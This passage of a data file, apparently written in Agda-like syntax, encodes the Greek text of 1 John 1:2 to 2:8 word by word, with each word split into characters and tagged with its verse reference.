∷ word (ἡ ∷ []) "1John.1.2"
∷ word (ζ ∷ ω ∷ ὴ ∷ []) "1John.1.2"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.1.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.2"
∷ word (ἑ ∷ ω ∷ ρ ∷ ά ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.2"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.2"
∷ word (ἀ ∷ π ∷ α ∷ γ ∷ γ ∷ έ ∷ ∙λ ∷ ∙λ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.2"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.2"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.1.2"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.1.2"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.1.2"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ν ∷ []) "1John.1.2"
∷ word (ἥ ∷ τ ∷ ι ∷ ς ∷ []) "1John.1.2"
∷ word (ἦ ∷ ν ∷ []) "1John.1.2"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.1.2"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.1.2"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.1.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.2"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.1.2"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.2"
∷ word (ὃ ∷ []) "1John.1.3"
∷ word (ἑ ∷ ω ∷ ρ ∷ ά ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.3"
∷ word (ἀ ∷ κ ∷ η ∷ κ ∷ ό ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.3"
∷ word (ἀ ∷ π ∷ α ∷ γ ∷ γ ∷ έ ∷ ∙λ ∷ ∙λ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.3"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.3"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.3"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.1.3"
∷ word (κ ∷ ο ∷ ι ∷ ν ∷ ω ∷ ν ∷ ί ∷ α ∷ ν ∷ []) "1John.1.3"
∷ word (ἔ ∷ χ ∷ η ∷ τ ∷ ε ∷ []) "1John.1.3"
∷ word (μ ∷ ε ∷ θ ∷ []) "1John.1.3"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.3"
∷ word (ἡ ∷ []) "1John.1.3"
∷ word (κ ∷ ο ∷ ι ∷ ν ∷ ω ∷ ν ∷ ί ∷ α ∷ []) "1John.1.3"
∷ word (δ ∷ ὲ ∷ []) "1John.1.3"
∷ word (ἡ ∷ []) "1John.1.3"
∷ word (ἡ ∷ μ ∷ ε ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.1.3"
∷ word (μ ∷ ε ∷ τ ∷ ὰ ∷ []) "1John.1.3"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (π ∷ α ∷ τ ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.3"
∷ word (μ ∷ ε ∷ τ ∷ ὰ ∷ []) "1John.1.3"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.4"
∷ word (τ ∷ α ∷ ῦ ∷ τ ∷ α ∷ []) "1John.1.4"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.4"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.1.4"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.1.4"
∷ word (ἡ ∷ []) "1John.1.4"
∷ word (χ ∷ α ∷ ρ ∷ ὰ ∷ []) "1John.1.4"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.1.4"
∷ word (ᾖ ∷ []) "1John.1.4"
∷ word (π ∷ ε ∷ π ∷ ∙λ ∷ η ∷ ρ ∷ ω ∷ μ ∷ έ ∷ ν ∷ η ∷ []) "1John.1.4"
∷ word (Κ ∷ α ∷ ὶ ∷ []) "1John.1.5"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.5"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.1.5"
∷ word (ἡ ∷ []) "1John.1.5"
∷ word (ἀ ∷ γ ∷ γ ∷ ε ∷ ∙λ ∷ ί ∷ α ∷ []) "1John.1.5"
∷ word (ἣ ∷ ν ∷ []) "1John.1.5"
∷ word (ἀ ∷ κ ∷ η ∷ κ ∷ ό ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.5"
∷ word (ἀ ∷ π ∷ []) "1John.1.5"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.5"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.5"
∷ word (ἀ ∷ ν ∷ α ∷ γ ∷ γ ∷ έ ∷ ∙λ ∷ ∙λ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.5"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.5"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.1.5"
∷ word (ὁ ∷ []) "1John.1.5"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.1.5"
∷ word (φ ∷ ῶ ∷ ς ∷ []) "1John.1.5"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.5"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.5"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ α ∷ []) "1John.1.5"
∷ word (ἐ ∷ ν ∷ []) "1John.1.5"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.1.5"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.1.5"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.5"
∷ word (ο ∷ ὐ ∷ δ ∷ ε ∷ μ ∷ ί ∷ α ∷ []) "1John.1.5"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.1.6"
∷ word (ε ∷ ἴ ∷ π ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.6"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.1.6"
∷ word (κ ∷ ο ∷ ι ∷ ν ∷ ω ∷ ν ∷ ί ∷ α ∷ ν ∷ []) "1John.1.6"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.6"
∷ word (μ ∷ ε ∷ τ ∷ []) "1John.1.6"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.6"
∷ word (ἐ ∷ ν ∷ []) "1John.1.6"
∷ word (τ ∷ ῷ ∷ []) "1John.1.6"
∷ word (σ ∷ κ ∷ ό ∷ τ ∷ ε ∷ ι ∷ []) "1John.1.6"
∷ word (π ∷ ε ∷ ρ ∷ ι ∷ π ∷ α ∷ τ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.6"
∷ word (ψ ∷ ε ∷ υ ∷ δ ∷ ό ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.1.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.6"
∷ word (ο ∷ ὐ ∷ []) "1John.1.6"
∷ word (π ∷ ο ∷ ι ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.6"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.1.6"
∷ word (ἀ ∷ ∙λ ∷ ή ∷ θ ∷ ε ∷ ι ∷ α ∷ ν ∷ []) "1John.1.6"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.1.7"
∷ word (δ ∷ ὲ ∷ []) "1John.1.7"
∷ word (ἐ ∷ ν ∷ []) "1John.1.7"
∷ word (τ ∷ ῷ ∷ []) "1John.1.7"
∷ word (φ ∷ ω ∷ τ ∷ ὶ ∷ []) "1John.1.7"
∷ word (π ∷ ε ∷ ρ ∷ ι ∷ π ∷ α ∷ τ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.7"
∷ word (ὡ ∷ ς ∷ []) "1John.1.7"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ς ∷ []) "1John.1.7"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.7"
∷ word (ἐ ∷ ν ∷ []) "1John.1.7"
∷ word (τ ∷ ῷ ∷ []) "1John.1.7"
∷ word (φ ∷ ω ∷ τ ∷ ί ∷ []) "1John.1.7"
∷ word (κ ∷ ο ∷ ι ∷ ν ∷ ω ∷ ν ∷ ί ∷ α ∷ ν ∷ []) "1John.1.7"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.7"
∷ word (μ ∷ ε ∷ τ ∷ []) "1John.1.7"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ω ∷ ν ∷ []) "1John.1.7"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.7"
∷ word (τ ∷ ὸ ∷ []) "1John.1.7"
∷ word (α ∷ ἷ ∷ μ ∷ α ∷ []) "1John.1.7"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ []) "1John.1.7"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.1.7"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.1.7"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.7"
∷ word (κ ∷ α ∷ θ ∷ α ∷ ρ ∷ ί ∷ ζ ∷ ε ∷ ι ∷ []) "1John.1.7"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.1.7"
∷ word (ἀ ∷ π ∷ ὸ ∷ []) "1John.1.7"
∷ word (π ∷ ά ∷ σ ∷ η ∷ ς ∷ []) "1John.1.7"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ς ∷ []) "1John.1.7"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.1.8"
∷ word (ε ∷ ἴ ∷ π ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.8"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.1.8"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ν ∷ []) "1John.1.8"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.1.8"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.8"
∷ word (ἑ ∷ α ∷ υ ∷ τ ∷ ο ∷ ὺ ∷ ς ∷ []) "1John.1.8"
∷ word (π ∷ ∙λ ∷ α ∷ ν ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.8"
∷ word (ἡ ∷ []) "1John.1.8"
∷ word (ἀ ∷ ∙λ ∷ ή ∷ θ ∷ ε ∷ ι ∷ α ∷ []) "1John.1.8"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.1.8"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.8"
∷ word (ἐ ∷ ν ∷ []) "1John.1.8"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.8"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.1.9"
∷ word (ὁ ∷ μ ∷ ο ∷ ∙λ ∷ ο ∷ γ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.9"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.1.9"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ς ∷ []) "1John.1.9"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.1.9"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ό ∷ ς ∷ []) "1John.1.9"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.9"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.9"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ ο ∷ ς ∷ []) "1John.1.9"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.1.9"
∷ word (ἀ ∷ φ ∷ ῇ ∷ []) "1John.1.9"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.9"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.1.9"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ς ∷ []) "1John.1.9"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.9"
∷ word (κ ∷ α ∷ θ ∷ α ∷ ρ ∷ ί ∷ σ ∷ ῃ ∷ []) "1John.1.9"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.1.9"
∷ word (ἀ ∷ π ∷ ὸ ∷ []) "1John.1.9"
∷ word (π ∷ ά ∷ σ ∷ η ∷ ς ∷ []) "1John.1.9"
∷ word (ἀ ∷ δ ∷ ι ∷ κ ∷ ί ∷ α ∷ ς ∷ []) "1John.1.9"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.1.10"
∷ word (ε ∷ ἴ ∷ π ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.10"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.1.10"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.1.10"
∷ word (ἡ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ή ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.10"
∷ word (ψ ∷ ε ∷ ύ ∷ σ ∷ τ ∷ η ∷ ν ∷ []) "1John.1.10"
∷ word (π ∷ ο ∷ ι ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.10"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.1.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.10"
∷ word (ὁ ∷ []) "1John.1.10"
∷ word (∙λ ∷ ό ∷ γ ∷ ο ∷ ς ∷ []) "1John.1.10"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.1.10"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.1.10"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.1.10"
∷ word (ἐ ∷ ν ∷ []) "1John.1.10"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.1.10"
∷ word (Τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.2.1"
∷ word (μ ∷ ο ∷ υ ∷ []) "1John.2.1"
∷ word (τ ∷ α ∷ ῦ ∷ τ ∷ α ∷ []) "1John.2.1"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.1"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.1"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.2.1"
∷ word (μ ∷ ὴ ∷ []) "1John.2.1"
∷ word (ἁ ∷ μ ∷ ά ∷ ρ ∷ τ ∷ η ∷ τ ∷ ε ∷ []) "1John.2.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.1"
∷ word (ἐ ∷ ά ∷ ν ∷ []) "1John.2.1"
∷ word (τ ∷ ι ∷ ς ∷ []) "1John.2.1"
∷ word (ἁ ∷ μ ∷ ά ∷ ρ ∷ τ ∷ ῃ ∷ []) "1John.2.1"
∷ word (π ∷ α ∷ ρ ∷ ά ∷ κ ∷ ∙λ ∷ η ∷ τ ∷ ο ∷ ν ∷ []) "1John.2.1"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.1"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.2.1"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.1"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.2.1"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ν ∷ []) "1John.2.1"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.2.1"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ ο ∷ ν ∷ []) "1John.2.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.2"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.2.2"
∷ word (ἱ ∷ ∙λ ∷ α ∷ σ ∷ μ ∷ ό ∷ ς ∷ []) "1John.2.2"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.2"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.2.2"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.2.2"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.2.2"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.2"
∷ word (ο ∷ ὐ ∷ []) "1John.2.2"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.2.2"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.2.2"
∷ word (ἡ ∷ μ ∷ ε ∷ τ ∷ έ ∷ ρ ∷ ω ∷ ν ∷ []) "1John.2.2"
∷ word (δ ∷ ὲ ∷ []) "1John.2.2"
∷ word (μ ∷ ό ∷ ν ∷ ο ∷ ν ∷ []) "1John.2.2"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ὰ ∷ []) "1John.2.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.2"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.2.2"
∷ word (ὅ ∷ ∙λ ∷ ο ∷ υ ∷ []) "1John.2.2"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.2"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.2.2"
∷ word (Κ ∷ α ∷ ὶ ∷ []) "1John.2.3"
∷ word (ἐ ∷ ν ∷ []) "1John.2.3"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.2.3"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.3"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.3"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.3"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.2.3"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.2.3"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.2.3"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.2.3"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.3"
∷ word (τ ∷ η ∷ ρ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.3"
∷ word (ὁ ∷ []) "1John.2.4"
∷ word (∙λ ∷ έ ∷ γ ∷ ω ∷ ν ∷ []) "1John.2.4"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.4"
∷ word (Ἔ ∷ γ ∷ ν ∷ ω ∷ κ ∷ α ∷ []) "1John.2.4"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.2.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.4"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.2.4"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.2.4"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.4"
∷ word (μ ∷ ὴ ∷ []) "1John.2.4"
∷ word (τ ∷ η ∷ ρ ∷ ῶ ∷ ν ∷ []) "1John.2.4"
∷ word (ψ ∷ ε ∷ ύ ∷ σ ∷ τ ∷ η ∷ ς ∷ []) "1John.2.4"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.2.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.4"
∷ word (ἐ ∷ ν ∷ []) "1John.2.4"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.2.4"
∷ word (ἡ ∷ []) "1John.2.4"
∷ word (ἀ ∷ ∙λ ∷ ή ∷ θ ∷ ε ∷ ι ∷ α ∷ []) "1John.2.4"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.4"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.4"
∷ word (ὃ ∷ ς ∷ []) "1John.2.5"
∷ word (δ ∷ []) "1John.2.5"
∷ word (ἂ ∷ ν ∷ []) "1John.2.5"
∷ word (τ ∷ η ∷ ρ ∷ ῇ ∷ []) "1John.2.5"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.5"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.5"
∷ word (∙λ ∷ ό ∷ γ ∷ ο ∷ ν ∷ []) "1John.2.5"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ῶ ∷ ς ∷ []) "1John.2.5"
∷ word (ἐ ∷ ν ∷ []) "1John.2.5"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.2.5"
∷ word (ἡ ∷ []) "1John.2.5"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.2.5"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.5"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.2.5"
∷ word (τ ∷ ε ∷ τ ∷ ε ∷ ∙λ ∷ ε ∷ ί ∷ ω ∷ τ ∷ α ∷ ι ∷ []) "1John.2.5"
∷ word (ἐ ∷ ν ∷ []) "1John.2.5"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.2.5"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.5"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.5"
∷ word (ἐ ∷ ν ∷ []) "1John.2.5"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.5"
∷ word (ἐ ∷ σ ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.5"
∷ word (ὁ ∷ []) "1John.2.6"
∷ word (∙λ ∷ έ ∷ γ ∷ ω ∷ ν ∷ []) "1John.2.6"
∷ word (ἐ ∷ ν ∷ []) "1John.2.6"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.6"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ ν ∷ []) "1John.2.6"
∷ word (ὀ ∷ φ ∷ ε ∷ ί ∷ ∙λ ∷ ε ∷ ι ∷ []) "1John.2.6"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.2.6"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ο ∷ ς ∷ []) "1John.2.6"
∷ word (π ∷ ε ∷ ρ ∷ ι ∷ ε ∷ π ∷ ά ∷ τ ∷ η ∷ σ ∷ ε ∷ ν ∷ []) "1John.2.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.6"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.2.6"
∷ word (π ∷ ε ∷ ρ ∷ ι ∷ π ∷ α ∷ τ ∷ ε ∷ ῖ ∷ ν ∷ []) "1John.2.6"
∷ word (Ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.2.7"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.7"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ ν ∷ []) "1John.2.7"
∷ word (κ ∷ α ∷ ι ∷ ν ∷ ὴ ∷ ν ∷ []) "1John.2.7"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.7"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.7"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.2.7"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ ν ∷ []) "1John.2.7"
∷ word (π ∷ α ∷ ∙λ ∷ α ∷ ι ∷ ὰ ∷ ν ∷ []) "1John.2.7"
∷ word (ἣ ∷ ν ∷ []) "1John.2.7"
∷ word (ε ∷ ἴ ∷ χ ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.7"
∷ word (ἀ ∷ π ∷ []) "1John.2.7"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.2.7"
∷ word (ἡ ∷ []) "1John.2.7"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ []) "1John.2.7"
∷ word (ἡ ∷ []) "1John.2.7"
∷ word (π ∷ α ∷ ∙λ ∷ α ∷ ι ∷ ά ∷ []) "1John.2.7"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.7"
∷ word (ὁ ∷ []) "1John.2.7"
∷ word (∙λ ∷ ό ∷ γ ∷ ο ∷ ς ∷ []) "1John.2.7"
∷ word (ὃ ∷ ν ∷ []) "1John.2.7"
∷ word (ἠ ∷ κ ∷ ο ∷ ύ ∷ σ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.7"
∷ word (π ∷ ά ∷ ∙λ ∷ ι ∷ ν ∷ []) "1John.2.8"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ ν ∷ []) "1John.2.8"
∷ word (κ ∷ α ∷ ι ∷ ν ∷ ὴ ∷ ν ∷ []) "1John.2.8"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.8"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.8"
∷ word (ὅ ∷ []) "1John.2.8"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.8"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ὲ ∷ ς ∷ []) "1John.2.8"
∷ word (ἐ ∷ ν ∷ []) "1John.2.8"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.8"
∷ word (ἐ ∷ ν ∷ []) "1John.2.8"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.8"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.8"
∷ word (ἡ ∷ []) "1John.2.8"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ α ∷ []) "1John.2.8"
